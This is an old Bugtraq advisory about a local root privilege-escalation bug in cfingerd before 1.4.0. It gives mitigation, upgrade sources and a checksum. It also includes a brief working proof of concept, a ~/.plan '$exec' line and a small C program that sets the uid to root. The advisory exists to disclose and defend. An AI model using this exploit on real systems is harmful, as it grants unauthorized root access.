cfingerd_bug.txt

`Subject: Severe bug in cfingerd before 1.4.0  
To: [email protected]   
  
  
Severe bug in cfingerd before 1.ems Content-Type: text/plain; charset=us-ascii  
  
*** PGP Signature Status: unknown  
*** Signer: Unknown, Key ID xAE8F7CF5  
*** Signed: 8/10/99 11:34:37 AM  
*** Verified: 9/21/99 7:41:23 PM  
*** BEGIN PGP VERIFIED MESSAGE ***  
  
  
Bugtraq Security Advisory  
=========================  
  
A serious bug in cfingerd before version 1.4.0 has been reported.  
It is present in all versions of cfingerd from 1.2.0 up to any  
version of 1.3.2. If configured accordingly this bug enables any  
local user to execute random programs with root priviledges.  
  
Although I haven't been quite verbose with development of cfingerd,  
Ken Hollis (the original author) has handed maintainership over to  
me a while ago. I did some development and fixed some security  
related bugs, but never made an official release. This is done now.  
  
Affected systems  
----------------  
  
All systems running a version of cfingerd beginning with version  
1.2.0 and before version 1.4.0 are affected.  
  
You are safe if you have disabled ALLOW_EXECUTION in your  
cfingerd.conf file in section "internal_config", i.e. that file  
contains a line "-ALLOW_EXECUTION".  
  
This is the default configuration of this package. If you use the  
default cfingerd.conf file as shipped with the distribution you are  
safe. You should still upgrade.  
  
Recommended action  
------------------  
  
1st Immediately turn off ALLOW_EXECUTION in your cfingerd.conf file.  
  
2nd Upgrade to the most recent version of cfingerd 1.4.0 to be found  
at the primary site  
ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/ or  
ftp://metalab.unc.edu/pub/Linux/system/network/finger/ .  
  
Exploit  
-------  
  
The exploit is quite simple. Thanks go to Tadek Knapik  
<[email protected]> who has informed me.  
  
You need to add  
  
$exec /tmp/relinq  
  
to your ~/.plan file. Then compile the following relinq.c file in  
/tmp:  
  
#include <stdio.h>  
  
void main()  
{  
printf("Root exploit test\n");  
setregid(0, 0);  
setreuid(0, 0);  
printf("User: %d, group: %d.\n", getuid(), getgid());  
}  
  
Checksum  
--------  
  
File: ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/cfingerd-1.4.0.tar.gz  
MD5sum: dcc25e89ba1dad6497365429b1db2909  
  
Regards,  
  
Joey  
  
--   
Experience is something you don't get until just after you need it.  
  
  
*** END PGP VERIFIED MESSAGE ***  
  
`